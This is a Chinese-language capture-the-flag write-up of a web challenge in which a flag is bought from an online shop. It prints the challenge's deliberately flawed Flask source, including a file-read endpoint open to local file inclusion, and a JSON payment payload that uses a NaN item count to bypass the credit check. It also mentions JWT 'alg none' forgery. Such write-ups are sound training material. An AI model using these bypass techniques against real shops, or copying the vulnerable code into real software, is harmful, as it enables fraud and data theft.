這也是我打過的一題,不過可能是因為太菜了,所以當時也沒解開。
註解如下:
Here is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag?
這一題點進去,會是一個商城。預設會有 n 單位的錢,而裡面有三個商品可買,其一名子叫 'asis'。asis 的價錢大於 n。
首先這題會先看到每個商品對應的圖片,都是用 http://46.101.173.61/image?name=asis.png
這類的網址載入。所以解題第一步會猜 LFI (Local File Inclusion)。
如果注意看的話,會發現客戶端帶一個認證用的 JWT 去請求。拆開後會發現裡面有金錢的數值。我當時有試著猜這是不是 JWT 的問題。因為 JWT 可能有這幾種問題,不過這題的重點都不是在這:
{alg: 'none'}
, 因為真的有一種簽名算法叫 none,就是不簽名。這時候可以繞過認證但可惜都不是這兩個之一。
印象中這題的 Header 會直接說是 Flask,故若猜 app.py
的話,會拿回原碼:
from flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
flags = {
'fake1': {
'price': 125,
'coupons': ['fL@__g'],
'data': 'fake1{this_is_a_fake_flag}'
},
'fake2': {
'price': 290,
'coupons': ['fL@__g'],
'data': 'fake2{this_is_a_fake_flag}'
},
'asis': {
'price': 110,
'coupons': [],
'data': open('private/flag.txt').read()
}
}
@app.route('/')
def main():
if session.get('credit') == None:
session['credit'] = 0
session['coupons'] = []
return render_template('index.html', credit = session['credit'])
#return 'Hello World!<br>Your Credit is {}<br>Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')
def resouce():
image_name = request.args.get('name')
if '/' in image_name or '..' in image_name or 'private' in image_name:
return 'Access Denied'
return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])
def pay():
data = request.get_json()
card = data['card']
coupon = data['coupon']
if coupon.replace('=','') in session.get('coupons'):
return jsonify({'result': 'the coupon is already used'})
for flag in card:
if flag['count'] <= 0:
return jsonify({'result':'item count must be greater than zero'})
discount = 0
for flag in card:
if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
discount += flag['count'] * flags[flag['name']]['price']
credit = session.get('credit') + discount
for flag in card:
credit -= flag['count'] * flags[flag['name']]['price']
if credit < 0:
result = {'result': 'your credit not enough'}
else:
result = {'result': 'pay success'}
result_data = []
for flag in card:
result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
result['data'] = result_data
session['credit'] = credit
session['coupons'].append(coupon.replace('=',''))
return jsonify(result)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
我們的目標是買 asis
這商品。
如果仔細看「檢查金錢」的地方的話,會注意到:
for flag in card:
if flag['count'] <= 0:
return jsonify({'result':'item count must be greater than zero'})
discount = 0
for flag in card:
if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
discount += flag['count'] * flags[flag['name']]['price']
credit = session.get('credit') + discount
for flag in card:
credit -= flag['count'] * flags[flag['name']]['price']
if credit < 0:
result = {'result': 'your credit not enough'}
payload 是用 data = request.get_json()
來轉成 dict 的。這時候我們可以想說,要怎麼讓它不要扣我們錢?乘以 0? Python 是強型別對吧?(當時也是這樣想)
[es@es-l ~]$ python2 -c 'print(None < 0)'
True
JSON 其實沒有 NaN 這種格式,但 Python 的 json.loads()
預設是可以吃 NaN 的。它背後不是轉換成 None,而是...
>>> json.loads('{"a": NaN}')['a']
nan
>>> type(json.loads('{"a": NaN}')['a'])
<type 'float'>
>>> json.loads('{"a": NaN}')['a'] > 0
False
>>> json.loads('{"a": NaN}')['a'] < 0
False
故我們送出以下內容去買旗子:
{
"card": [
{
"count": NaN,
"name": "asis"
}
],
"coupon": ""
}
上面的比較就可以成立。然後拿到 Flag。